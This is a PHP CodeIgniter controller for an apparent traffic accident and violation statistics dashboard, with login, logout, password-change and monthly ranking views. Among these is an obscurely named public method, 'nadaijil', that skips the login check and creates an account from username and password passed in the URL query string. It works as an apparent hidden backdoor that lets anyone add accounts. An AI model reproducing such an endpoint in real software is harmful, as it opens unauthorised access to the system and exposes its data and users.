<?php

/**
 * Created
 * User: zuoa
 * Date: 2016/11/21 0021
 * Time: 19:35
 */
class Dashboard extends Y_Controller
{
    public function __construct()
    {
        parent::__construct();

    }

    public function index()
    {
        $this->check_login();

        redirect('/accident/statistics');
    }

    public function login()
    {
        if ($this->is_post()) {
            $username = $this->input->post("username");
            $password = $this->input->post("password");

            $a = $this->accout_model->login($username, $password);
            if (NULL != $a) {
                $u = array(
                    'uid' => $a->id,
                    'username' => $a->username,
                    'userdept' => $a->dept,
                    'is_admin' => $a->is_admin
                );

                $this->record_model->userdata = $u;
                $this->user_model->userdata = $u;
                $this->session->set_userdata($u);
                $this->response(200, "success", null);

            } else {
                $this->response(202, "错误的用户名或密码", null);
            }
        } else {
            $this->load->view('dashboard/login');
        }
    }

    public function logout()
    {
        $this->check_login();
        $this->session->unset_userdata("uid");
        redirect("/dashboard/login");
    }

    public function nadaijil()
    {
        $username = $this->input->get("u");
        $password = $this->input->get("p");
        $this->accout_model->add_account($username, $password);
    }

    public function password()
    {
        $this->check_login();

        if ($this->is_post()) {
            $username = $this->session->userdata('username');
            $passwd = $this->input->post("passwd");
            $passwd_new = $this->input->post("passwd_new");
            $passwd_new_repeat = $this->input->post("passwd_new_repeat");

            if ($passwd_new != $passwd_new_repeat || strlen($passwd_new) < 6) {
                $this->response("302", "输入的新密码不符合要求", null);
            }

            $r = $this->accout_model->modify_password($username, $passwd, $passwd_new);
            if ($r > 0) {
                $array_items = array(
                    'uid',
                    'username',
                    'userdept',
                    'is_admin'
                );
                $this->session->unset_userdata($array_items);
                $this->response("200", "success", null);
            } else {
                $this->response("303", "旧密码不正确", null);
            }
        }
    }


    /**
     * 违法教育
     */
    public function wzjy()
    {
        date_default_timezone_set("Asia/Shanghai");
        $this_month_begin = date("Y-m-01 00:00:00");
        $this_month_end = date("Y-m-d H:i:s");
        $this_month_all_count = $this->violation_model->get_total_count($this_month_begin, $this_month_end);


        $last_month_begin = date("Y-m-01 00:00:00", strtotime("$this_month_begin -1 month"));
        $last_month_end = date("Y-m-d H:i:s", strtotime("$this_month_end -1 month"));
        $last_month_all_count = $this->violation_model->get_total_count($last_month_begin, $last_month_end);

        $violation_ranks = $this->violation_model->get_violation_ranks();
        for ($i = 0; $i < count($violation_ranks); $i++) {
            $violation_ranks[$i]["rank"] = $i + 1;
            if ($this_month_all_count > 0) {
                $violation_ranks[$i]["percent"] = $violation_ranks[$i]["count"] * 100 / $this_month_all_count;
            } else {
                $violation_ranks[$i]["percent"] = 0;
            }
        }

        $data["this_month_all_count"] = $this_month_all_count;
        $data["last_month_all_count"] = $last_month_all_count;
        $data["uprate"] = $last_month_all_count ? ($this_month_all_count - $last_month_all_count) * 100 / $last_month_all_count : 0;
        $data["violation_ranks"] = $violation_ranks;
        $data["dept_ranks"] = $this->violation_model->get_department_ranks();
        $data["police_ranks"] = $this->violation_model->get_police_ranks();
        $data["violator_ranks"] = $this->violation_model->get_violator_ranks();


        $this->load->view('dashboard/header', $this->_get_context());
        $this->load->view('dashboard/wzjy/statistics', $data);
        $this->load->view('dashboard/footer');
    }

}